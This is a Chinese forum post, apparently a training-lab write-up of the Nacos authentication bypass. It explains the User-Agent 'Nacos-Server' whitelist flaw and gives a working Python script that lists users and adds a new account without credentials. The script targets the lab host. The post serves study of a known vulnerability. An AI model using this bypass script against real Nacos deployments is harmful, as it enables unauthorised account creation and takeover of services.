无聊刷微信朋友圈,看到老师和70师傅发的靶场上新了,这不得尝试一下,打开靶场看到是一个提示nacos未授权访问
开始学习,
漏洞成因:该漏洞是由于在com.alibaba.nacos.core.auth.AuthFilter#doFilter中在处理服务间通信时存在默认鉴权白名单导致,代码在解析请求时,会判断User-Agent值,若是以Nacos-Server字符串开头,则会跳过后续权限校验流程。攻击者可通过利用该漏洞发送特殊数据绕过身份认证,从而调用任何接口,获取内部数据或添加任意用户,进一步利用甚至可能执行恶意代码。
测试方法,千遍一律的抓包,就缩略描述一下,5通过拼接路径;/nacos/v1/auth/users?pageNo=1&pageSize=1,我们验证了一个漏洞存在(这是个靶场,,写这个多次一举),对其进行抓包放入重放模块后,修改为post模式(一定要修改!!!!)将我们想要添加的用户作为拼接到我们的URl,将UA修改为Nacos-Server,data为pageNo=1&pageSize=9,去完成漏洞利用
了解了成因,了解了测试方法,本人为了偷懒不去抓包,就去编写脚本开始帮我吧,嘿嘿嘿
import requests
target_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?pageNo=1&pageSize=9"
# 发送GET请求,验证漏洞存在
response = requests.get(target_url)
if response.status_code == 200:
print("漏洞存在")
print("响应内容:", response.text)
# 准备POST请求参数
post_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?username=test1&password=test1"
headers = {
"User-Agent": "Nacos-Server"
}
data = {
"pageNo": "1",
"pageSize": "9"
}
# 发送POST请求,添加用户
response = requests.post(post_url, headers=headers, data=data)
if response.status_code == 200:
print("用户添加成功")
# 验证添加的用户是否生效
response = requests.get(target_url)
if "test" in response.text:
print("响应内容:",response.text)
写完脚本测试一下吧
进网页验证一下吧
复现成功,完美,
继续学习
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 300.00 | 0 | 2023-06-30 11:11:49 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.